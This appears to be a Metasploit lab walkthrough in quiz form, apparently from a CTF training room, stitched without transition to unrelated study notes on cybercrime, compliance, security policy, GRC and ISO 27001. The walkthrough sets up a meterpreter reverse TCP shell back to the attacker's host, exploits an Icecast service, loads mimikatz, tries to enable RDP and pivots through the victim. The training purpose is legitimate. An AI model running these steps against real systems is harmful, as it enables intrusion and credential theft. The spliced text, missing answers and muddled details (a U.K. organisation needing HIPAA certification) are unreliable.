Metasploit, an open-source pen testing framework, is a powerful tool utilized by security engineers around the world. Maintained by Rapid 7, Metasploit is a collection of not only thoroughly tested exploits but also auxiliary and post-exploitation tools. Throughout this room, we will explore the basics of using this massive framework and a few of the modules it includes.
Commands
First things first, we need to initialize the database! Let’s do that now with the command:
msfdb init
Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command:
msfconsole -h
We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘–‘
msfconsole -q
Once the database is initialized, go ahead and start Metasploit via the command:
msfconsole
After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command:
db_status
Cool! We’ve connected to the database, which type of database does Metasploit 5 use?
postgresql
Using the help menu, let’s now learn the base commands and the module categories in Metasploit. Nearly all of the answers to the following questions can be found in the Metasploit help menu.
Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command:
help
The help menu has a very short one-character alias, what is it?
?
Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?
search
Once we’ve found the module we want to leverage, what command we use to select it as the active module?
use
How about if we want to view information about either a specific module or just the active one we have selected?
info
Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?
connect
Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?
banner
We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?
set
Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?
setg
Now that we’ve learned how to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.
get
How about changing the value of a variable to null/no value?
unset
When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?
spool
Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.
save
Modules
Easily the most common module utilized, which module holds all of the exploit code we will use?
Exploit
Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?
Payload
Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.
auxiliary
One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?
post
Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?
encoder
Last but not least, which module is used with buffer overflow and ROP attacks?
nop
Not every module is loaded in by default, what command can we use to load different modules?
load
Move that shell!
Remember that database we set up? In this step, we’re going to take a look at what we can use it for and exploit our victim while we’re at it!
As you might have noticed, up until this point we haven’t touched nmap in this room, let alone perform much recon on our victim box. That’ll all change now as we’ll take a swing at using nmap within Metasploit. Go ahead and deploy the box now, it may have up to a three-minute delay for starting up our target vulnerable service.
*Note, Metasploit does support different types of port scans from within the auxiliary modules. Metasploit can also import other scans from nmap and Nessus just to name a few.
Answer the questions below
Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command
What service does nmap identify running on port 135?
msrpc
Let’s go ahead and see what information we have collected in the database. Try typing the command hosts into the msfconsole now.
How about something else from the database, try the command services now.
One last thing, try the command vulns now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.
Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type use followed by a unique string found within only the target exploit. For example, try this out now with the following command use icecast. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start
exploit/windows/http/icecast_header
While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command search multi/handler.
Go ahead and run the command use NUMBER_NEXT_TO exploit/multi/handler wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.
What is the name of the column on the far left side of the console that shows up next to ‘Name’?
#
Now type the command use NUMBER_FROM_PREVIOUS_QUESTION. This is the short way to use modules returned by search results.
use 5
Next, let’s set the payload using this command set PAYLOAD windows/meterpreter/reverse_tcp. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command set LHOST YOUR_IP_ON_TRYHACKME. You might have to check your IP using the command ip addr, it will likely be your tun0 interface.
Let’s go ahead and return to our previous exploit, run the command use icecast to select it again.
One last step before we can run our exploit. Run the command set RHOSTS 10.10.38.15 to tell Metasploit which target to attack.
Once you’re set those variables correctly, run the exploit now via either the command exploit or the command run -j to run this as a job.
After we’ve established our connection in the next task, we can list all of our sessions using the command sessions. Similarly, we can interact with a target session using the command sessions -i SESSION_NUMBER
Task 6 We’re in, now what?
Now that we’ve got a shell into our victim machine, let’s take a look at several post-exploitation modules actions we can leverage! Most of the questions in the following section can be answered by using the Meterpreter help menu which can be accessed through the ‘help’ command. This menu dynamically expands as we load more modules.
First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ps. What’s the name of the spool service?
Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!
migrate
Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?
getuid
How about finding more information out about the system itself?
sysinfo
This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?
load kiwi
Let’s go ahead and figure out the privileges of our current user, what command do we run?
What command do we run to transfer files to our victim computer?
upload
How about if we want to run a Metasploit module?
run
A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?
ipconfig
Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command run post/windows/gather/checkvm. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.
Next, let’s try: run post/multi/recon/local_exploit_suggester. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room Ice.
Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about:
run post/windows/manage/enable_rdp
One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?
shell
Makin’ Cisco Proud
Last but certainly not least, let’s take a look at the autorouting options available to us in Metasploit. While our victim machine may not have multiple network interfaces (NICs), we’ll walk through the motions of pivoting through our victim as if it did have access to extra networks.
Answer the questions below
Let’s go ahead and run the command run autoroute -h, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.
run autoroute -h
run autoroute -s 172.18.1.0 -n 255.255.255.0
Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?
Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?
Cybercrimes are defined as “Offences that are committed against individuals or groups of individuals with a criminal motive to intentionally harm the reputation of the victim or cause physical or mental harm to the victim directly or indirectly, using modern telecommunication networks such as the Internet through chat rooms, emails, notice boards, groups, and mobile phones through SMS or MMS.”
Introduction to Computer Crimes
Computer crimes refer to any crime that involves a computer and a network.
Computer related crimes have increased due to the:
Connectivity of the Internet
Low costs of computational resources
Examples: cracking, copyright infringement, child pornography, child grooming, etc.
Categories of Computer Crimes
The major categories of computer crime are as follows:
Computer assisted crimes
Computer assisted crimes are criminal activities carried out using computers as mere tools and are not specific to computers. Examples: fraud, distributed denial of service attacks, counterfeit, theft, child pornography, etc. 80% of all criminal investigations include evidence that is digital in nature.
Computers as the target of crimes
Computers as the target of crimes are criminal activities focused on systems, servers, networks, and the data stored on these systems. Examples: sniffing, denial of service, password attacks, viruses, digital identity theft, computer hacking, etc. These crimes target information systems and the underlying architecture.
Computers incidental to the crimes
Computers incidental to the crimes are those crimes where the computer is related or incidental to the crime. Crime occurs without the use of computers. Example: list of customers for traffickers Online activities, whether based on the Internet or cell phones are logged and recorded.
Compliance means conforming to a rule, such as a specification, policy, standard, or law. For example: ISO 27001, PCI DSS, GDPR, HIPAA, etc.
Need For Compliance:
Protect the critical information
Enforce control through written policy
Understand the requirements for protecting organizational information
Identify requirements for protecting organizational information
Avoid inadequate implementation and enforcement; this can lead to fines, penalties, and imprisonment
Avoid failures that lead to loss of customer confidence, competitive advantage, contracts, jobs, etc.
Protect shareholder interests
Use good controls that make good business sense
Regulatory Compliance
Regulatory compliance describes the goal that corporations or public agencies aspire to ensure the personnel are aware of and take steps to comply with the relevant laws and regulations.
Regulatory Environment helps:
To cover: Data privacy, computer misuse, software copyright, data protection, and controls on cryptography
To address: Environmental protection, intellectual property, national security, personal privacy, public order, health and safety, and prevention of fraudulent activities.
Auditing
Audits are performed to ensure compliance to contracts, regulations, and laws and assist in detecting abnormal activities.
Audit provides information on:
The types of unauthorized activities
The person or processes involved in the activities
Standards/Manuals/Guidelines for Compliance
Examples of standards, manuals, or guidelines are as follows:
Control Objectives for Information and Related Technology (COBIT)
Federal Information System Controls Audit Manual (FISCAM)
U.S. Government Accountability Office (GAO) and Government Auditing Standards (GAS)
Security policy is a broad statement produced by the senior management that dictates the role of security within the organization.
Characteristics of Security Policy
It must be generic, non technical, and easily understood
It must integrate security into all business processes and functions
It must be reviewed and modified periodically or as the company environment changes
It must support the vision and mission of the organization
Types of security policies:
Organizational security policy: It focuses on issues relevant to every aspect of the organization
Issue specific policy : It focuses on a specific service, department, or function that is distinct from the organization as a whole
System specific policy : It focuses on individual systems
Different security policies work together to meet the objectives of a comprehensive security program.
Regulatory Policy: Regulatory policy ensures that the organization is following industry specific regulations or standards. Example: HIPPA, PCI DSS, etc.
Advisory Policy: Advisory policy strongly advises the employees or users on the type of behaviors and activities to be followed within the organization. Example: Policy for handling medical or personal information
Informative Policy: Informative policy informs the employees of certain key topics. Example: Policy explaining the goals and mission of an organization
Security Policy Implementation
Policy documents often come with the endorsement or signature of the executive powers within an organization.
Standard policy components : Purpose statement, policy objectives, resources provision, staff allocation, and guidelines and standards
Policy elements : Purpose, scope, responsibilities, and compliance
Policy creation guidelines: Assigning a principal function to be responsible for control, compliance with policy as a condition of employment, and avoiding exceeding two pages and use generic terms
Management responsibilities for policy: Protecting resource assets within the company’s control, implementing security in accordance with the company policy, and initiating corrective actions for security violations
Policy enforcement: Avoiding errors that can lead to legal challenges and ensuring compliance with policy
Policy Chart
A strategic goal can be viewed as the ultimate endpoint, while tactical goals are the steps necessary to achieve it.
Standards
Refer to the mandatory activities, rules, actions, or regulations
Example: ISO 27001
Guidelines
Refer to the recommended operational guides or actions provided to the users operations staff, IT staff, and others
Example: Security Password Guideline
Procedures:
Refer to the step by step tasks to be performed to achieve a certain objective
Example: Incident response procedure
Baselines:
Define minimum level of security that every system must meet
Example: All Windows 7 systems must have SP1 installed
Goals: Define what the organization desires to achieve
Goals provide the overall context of what the organization wants to accomplish.
Mission: Indicate how will you proceed to them
Mission is a statement of the organization’s purpose and reason for existence.
Objectives: Help in creation of long term and short term strategies
Objectives are milestones or specific results that are expected and help to reach the goals of the organization.
Aligning Security with Goals, Mission and Objectives
Information Security can be aligned with organizational goals, missions and objectives in two ways.
Due Care
It is a legal term that pertains to the legal duty of the organization. Lack of due care is considered negligence.
Due care shows that company has:
Taken responsibility for the activities that taken place within the corporation
Taken necessary steps to protect the company, its resources and employees from possible threats
Take reasonable care in protection of organization.
Examples:
Training employees in security awareness
Mandating statements from the employees stating that they have read and understood appropriate computer behavior
Deploying firewalls in organization
Service-Level Agreement(SLA)
SLA is a formally defined level of service provided by an organization.
SLA may be defined for:
Security incident Response
Security Alert Delivery
Security Investigation
Policy and procedure review
Managing Third-Party Governance
Outsourcing is the subcontracting of a business process to a third-party company.
Risk associated with outsourcing:
Loss of control of confidential information
Accountability
Compliance
Secure Outsourcing
On-site assessment
Document exchange and review
Policy and process review
Offshoring: Privacy Requirements and Compliance
Offshoring is outsourcing to another country.
Offshoring can increase privacy and regulatory issues.
For example: Data offshored to India by U.K. Medical organization has no HIPAA certification.
A good contract ensures that regulations and laws governing privacy are followed, even beyond the country’s jurisdiction.
For example: The Indian company to which the U.K. medical organization’s data is offshored can agree to follow HIPAA via contract.
Security management plan
It is the identification of an organization’s asset followed by development, documentation and implementation of policies and procedures for protecting these assets.
Characteristics:
Senior management is responsible for initiating and defining policies.
Middle management is responsible for releasing standards, baselines and guidelines in relation to the policies.
Operations management or IT teams implement the controls defined above.
End-users must comply with all the functions of the organization
It should have approval from senior management before engagement
Types of Security Management Plan
Strategic Plan
Tactical Plan
Operational Plan
Its a long term plan
Its a mid term plan developed to provide more detailed goals
It is a short term but highly detailed plan
Useful for at least 5 years and reviewed annually
Last usually for a year or 2
Must be updated often
Helps to understand the security functions and aligns with business
Is more technology oriented
Spells how to accomplish various goals
Defines organization’s security posture
Example: Project plan. budget plan, etc.
Example: Resource allotment, training plans, etc.
Should include risk assessment
These 3 plans combined together is called planning horizon,
GRC is an acronym of Governance, Risk management and Compliance.
GRC of every organization is different and varies based on the type of organization.
It depends on organization mission, size, industry, culture and legal regulations.
Ultimate responsibility of GRC program is to protect their assets and operations, including their IT infrastructure and information.
Governance
It is the responsibility of the board of directors and senior management of organization.
A governance program has several goals:
Provide strategic direction
Ensure that objectives are achieved
Ascertain whether risk is being managed appropriately
Verify that the organization’s resources are being used responsibly
Risk Management
It is the process by which an organization manages risk to acceptable levels. Risk management requires the development and implementation of internal controls to manage and mitigate risk throughout the organization, including financial and investment risk, physical risk and cyber risk.
Compliance
It is the act of adhering to, and the ability to demonstrate adherence to, mandate requirements defined by laws and regulations. It also includes voluntary requirements resulting from contractual obligations and internal policies.
It is an internationally recognized structured methodology dedicated to information security.
It is a management process to evaluate, implement and maintain an Information Security Management Systems(ISMS).
It is a comprehensive set of controls compromised of best practices information security.
It is applicable to all industry sectors.
It emphasizes prevention.
ISO 27001 has 114 controls mapped to 14 security domains.
ISO 27001 Domains
Security Policies
Organization of information security
Human Resource security
Asset management
Access Control
Cryptography
Physical and environmental security
Operations security
Communications security
System acquisition, development and maintenance
Supplier relationships
Information Security incident management
Information security aspects of Business Continuity Management
Compliance
Information Security Management
It describes the controls that an organization needs to implement to ensure that is sensibly protecting the CIA of assets from threats and vulnerabilities.
It also includes information risk management which is a process that involves the assessment of the risks an organization must deal with in order to manage and protect the assets as well as the dissemination of the risk to all appropriate stakeholders.
Information Security Management ensures:
Information Security Policies
Standards
Procedures
Guidelines
Baselines
Information Classification
Risk Management
Security Organization
Security Education
Information Security Governance
Governance ensures that security strategies are aligned with business objectives and consistent with regulations.
Security controls are the measures taken to safeguard an information system from attacks against the CIA of the information system.
Security controls are selected and applied based on a risk assessment of the information system.
The risk assessment process identifies systems threats and vulnerabilities, and then security controls are selected to reduce or mitigate risk.
Components based on Implementation
Administrative Controls
Technical Controls
Physical Controls
They are commonly referred as soft controls, because they are more management oriented.
Technical controls are also called logical controls, are software or hardware components.
They are items put into place to protect facility, personnel, and resources.
For example: Security documentation, Risk management, Personnel security and training.
For example : Firewall and IDS, encryption, identification and authentication mechanisms.
For example : Security guards, locks and fencing.
Components based on Functionality
Deterrent
Preventive
Corrective
Intends to discourage a potential attacker
Intends to avoid an incident from occurring
Fixes components or systems after an incident occur
Recovery
Detective
Compensating
Intends to bring the environment back to regular operations
Helps identify an incident’s activities and potentially an intruder
Provides an alternative measure of control
Control Framework
Control Framework is a data structure that comprises a set of an organization’s internal controls that are the practices and strategies built to enhance business processes and minimize risk.
It is a set of controls that protects data within the IT infrastructure of a business or another entity.
The control framework acts as a comprehensive security protocol that protects against fraud or theft from a spectrum of outside parties, including hackers and other kinds of cyber criminals.
Example of a control framework : COBIT
COBIT(Control Objectives for Information and Related Technologies)
Main function is to help the company map their IT process to ISACA best practices and standards.
